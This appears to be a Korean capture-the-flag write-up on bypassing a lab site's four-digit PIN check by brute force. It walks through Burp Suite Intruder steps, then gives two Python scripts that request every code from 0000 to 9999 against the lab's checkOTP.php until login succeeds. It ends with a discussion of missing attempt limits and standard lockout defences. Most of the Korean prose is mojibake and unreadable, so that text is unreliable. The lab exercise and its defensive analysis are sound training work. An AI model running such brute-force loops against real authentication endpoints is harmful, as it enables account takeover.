[SegFault] Authentication Bypass (Code)
Pin Code Crack.
์๋ ์ฌ์ดํธ์ PIN ๋ฒํธ๋ฅผ ํฌ๋ํด๋ณด์!
๋ฌธ์ ํ์
- ์์ ํ์ด์ง์ ์ ์ํ๋ฉด ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋์จ๋ค.
- LOGIN ๋ฒํผ์ ๋๋ฅด๋ฉด ํ์ ์ฐฝ์ด ์ด๋ฆฐ๋ค.
- Burp Suite์ ์ด์ฉํ์ฌ ์ ์ ๊ณผ์ ์ํ์ฝ๋(Status code) ํ์ธํ๋ค.
- 302 Found
- 200 OK
- ๋ฒํผ ๋๋ ์ ๋ ์ํ์ฝ๋(Status code) ํ์ธํ๋ค.
- (LOGIN) ๊ฐ์ ์ฐฝ์ ํ์ ์ฐฝ์ด๋ฏ๋ก ์๋ฌด๋ฐ ๋ณํ ์์
- 200 OK (Enter)
- PIN Code๋ฅผ ๋ฃ์ด์ค์ผ ํ๋ค.
- ๋ด๋ถ๋ฅผ ์ดํด๋ณด๋ฉด checkOTP.js๋ฅผ ํ์ธํ ์ ์๋ค.
์๊ฐ ๊ณผ์
์๊ฐ ๊ณผ์
1. Enter ๋ฒํผ์ ๋๋ฅด๋ฉด SendOTP๋ฅผ ํ๊ณ , checkOTP.php์์ ํ์ธํ๋ ๊ฒ์ ์ ์ ์๋ค.
2. ๊ฐ๋ฐ์ ๋ชจ๋(DevTools)์์ checkOTP.js๋ฅผ ํ์ธํด๋ณธ๋ค.
3. ๋ด๋ถ์ sendOTP๋ฅผ ๋ณด๋ฉด, ์ผ์ ํ ๊ฐ์ผ๋ก ๋ณด์ธ๋ค.
(-> ํ์ง๋ง ์ฐพ์ ๋ฐฉ๋ฒ์ ๋ชจ๋ฅด๊ฒ ์)
4. OTP์ ์๊ฐ ์ ํ์ด ์๊ธฐ ๋๋ฌธ์!!
5. ๋ฌด์ฐจ๋ณ ๋์ ์ ํด์ผ๊ฒ ๊ตฌ๋! ๋ผ๋ ์๊ฐ์ ํ ์ ์๋ค.
6. Brute Force๋ฅผ ์ํด ์ธํธ๋ฃจ๋(Intruder)๋ฅผ ์จ์ผ ๊ฒ ๊ตฌ๋!
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. Intercept On ์ผ๋ก ๋ฐ๊ฟ์ค๋ค.
2. ์๋ฌด PIN Code๋ ๋์ ํ์ฌ ์์ฒญํ๋ค.
3. ๋ธ๋ผ์ฐ์ ์ฐฝ ๋ฐ ํ์คํ ๋ฆฌ(HTTP history)๋ฅผ ํ์ธํ๋ค.
- Intercept ์์ GET /6/checkOTP.php?otpNum=0000 ํ์ธํ ์ ์๋ค.
4. ํด๋น ๋ถ๋ถ์ ์ธํธ๋ฃจ๋(Intruder)๋ก ๋๊ฒจ์ค๋ค.
- ์ธํธ๋ฃจ๋์์ ํฌ์ง์ (Positions) ์ค์ ํด์ค๋ค.
- $ADD๋ฅผ ์ด์ฉํ์ฌ ๋ฐ๊ฟ์ ๋์ ํ ๋ณ์๋ฅผ ์ง์ ํ๋ค.
5. ํ์ด๋ก๋๋ฅผ ์ค์ ํ๋ค.
- ์ซ์ 0~9999๋ฅผ 4์๋ฆฌ์๋ก ์๋ฆฟ์๋ฅผ ๋ง์ถฐ์ค์ผํ๋ค.
6. ๋์ ์์
- 0000~9999์ ์์๋๋ก 1์ฉ ์ฆ๊ฐํ์ฌ ๋์ ํด์ค๋ค.
- ๋ฏธ์น๋ฏ์ด ๋๋๊ณ ์ค๋๋๋ก ๊ธฐ๋ค๋ฆฌ๋ฉด ๊ธธ์ด(Length)๊ฐ ๋ค๋ฅธ ํ๋๊ฐ ๋ณด์ธ๋ค.
- ๋ฌด๋ฃ ๋ฒ์ Burp Suite์ด๊ธฐ ๋๋ฌธ์ ๋๋ฌด๋๋ ๋๋ฆฌ๋ค๋ ๋ฌธ์ ๊ฐ ์๋ค.
- ์ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด
- 1021(์ค๋ฅธ์ชฝ) ์์ Login Fail์ด ์๋ index.php๋ก ๋ฆฌ๋๋ ์ ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
7. Intercept์์ ํด๋น 1021๊ฐ์ ๋์ ํ๊ณ Forward ํด์ค๋ค.
- ์ฌ๋ฐ๋ฅธ ํ์ฝ๋ ์ ๋ ฅ๊ฒฐ๊ณผ ๋ธ๋ผ์ฐ์ ์ Congrats!!! Flag๋ฅผ ํ์ธ ๊ฐ๋ฅํ๋ค.
Python ํ์ฉ ํ์ด
- ๊ทธ๋ฅ ์ธํธ๋ฃจ๋(Intruder)๋ฅผ ์ผ๋๊ณ ๋ฉ๋๋ ค๋ ๋๊ฒ ์ง๋ง, ๋๋ฌด ์ค๋๊ฑธ๋ฆฌ๊ณ , ์ผ๋ฐ์ ์ผ๋ก ํ์ฝ๋๋ ์ ํ์๊ฐ๋ ์กด์ฌํ๋ค.
- ๋ฐ๋ผ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์๋ด์ผ ํ๋ค.
- Python์ ์ด์ฉํ์ฌ Brute Force๋ฅผ ๋์ ํด์ค ์ฝ๋๋ฅผ ๊ตฌํํด ๋ณด์๋ค.
import requests
def findOTP():
url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
for otp_num in range(10000):
otp_str = f"{otp_num:04d}"
params = {"otpNum": otp_str}
response = requests.get(url, params=params)
# alert('Login Fail...');
if "Fail" in response.text:
print(otp_str, "Failed")
continue
else:
print(otp_str, "Logged In")
break
print("OTPs:", otp_str)
if __name__ == '__main__':
findOTP()
- ๊ฐ๋ ์ฑ์ ๋์ธ ์ฝ๋ ์ถ๊ฐ.
import requests
def findOTP():
url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
print("[*] Password Crack Start...")
for i in range(10000): #(0,9999)
tryNum = str(i).zfill(4) #f"{otp_num:04d}"
params = {"otpNum": tryNum}
print("[>] Try : [" + tryNum + "]", end="\r")
response = requests.get(url, params=params)
# alert('Login Fail...');
if 'Login Fail...' not in response.text:
print("[+] Found Code : " + tryNum)
break
if __name__ == '__main__':
findOTP()
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
์ธ์ฆ ํ์ ์ ํ X
๋ธ๋ฃจํธ ํฌ์ค(Brute Force), ์ฆ ๋ฌด์์ ๋์ ๊ณต๊ฒฉ์ ์ฌ์ค์ ์๊ฐ๊ณผ ์์๋ง ์ถฉ๋ถํ๋ค๋ฉด ๋ฌด์ ์ ๊ณต๊ฒฉ ๋ฐฉ์์ผ ์ ์๋ค.
๋๋ฌธ์ ๋ณธ ๋ฌธ์ ์ ์ทจ์ฝ์ ์ ์ฌ์ค์ brute force๊ฐ ์๋๋ค. ์ด๊ฒ ์?! ๊ฐ๋ฅํ๋ ํ๋ ๊ฒ์ด๋ค.
๊ทธ๊ฒ์ ๋ฐ๋ก '์ธ์ฆ ํ์์ ์ ํ ๋ฏธํก' ์ด๋ผ๋ ์ทจ์ฝ์ ์ด๋ค.
๋ก๊ทธ์ธ ํ์ด์ง ๋๋ ๋ง์ดํ์ง์ด์ ๊ฐ์ด ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ๊ฑฐ๋, ํด๋น ๋ฌธ์ ์ฒ๋ผ PIN CODE๋ฅผ ์ ๋ ฅ๋ฐ๋ ๊ฒฝ์ฐ์ ํ์์ ์ ํ๊ณผ, ์๊ฐ์ ์ ํ์ ์ง์ ํ ํ์๊ฐ ์๋ค๋ ๊ฒ์ด๋ค.
ํนํ๋ ๋น๋ฐ๋ฒํธ ๊ฐ์ ๊ฒฝ์ฐ ์๊ฐ ์ ํ์ ๋์ง๋ ์๊ณ ํ์ ์ ํ์ ๋๊ณ , ์ผ์ ํ์๋ฅผ ์ด๊ณผํ๋ ๊ฒฝ์ฐ, ์ผ์ ์๊ฐ ๋ก๊ทธ์ธ์ด ๋ถ๊ฐ๋ฅ ํ๋๋ก ํ๊ฑฐ๋, ํด๋น ์์ด๋๋ฅผ ์ผ์์ ์ผ๋ก ์ ๊ทธ๊ณ , ์ถ๊ฐ์ ์ธ ์ธ์ฆ์ ํตํด ํ๊ฒ ํ๋ ๋ฑ์ ์กฐ์น๋ฅผ ์ทจํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค.
PIN CODE์ ๊ฐ์ ๊ฒฝ์ฐ์๋ ์ผ๋ฐ์ ์ผ๋ก ํ์ ์ ํ์ ๋ฌผ๋ก ์ด๊ณ , ๋ฌด์์ ํ์ฝ๋๊ฐ ๋ฐํ๋ ํ์ ์ ๋ ฅ ์๊ฐ๊น์ง์ ์ ํ์ ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ ๊ฒ๋ ์ด๋ฌํ ์ด์ ์ด๋ค.
์์ ๊ฐ์ด ์ธ์ฆ ํ์์ ๋ํ ์ ํ์ด ์๋ ๊ฒฝ์ฐ์๋ ์ฝ๊ฒ ํ์ทจ๋ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ์ ์ธ์ฆ ์ทจ์ฝ์ ์ผ๋ก์ ์ก์ ์ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์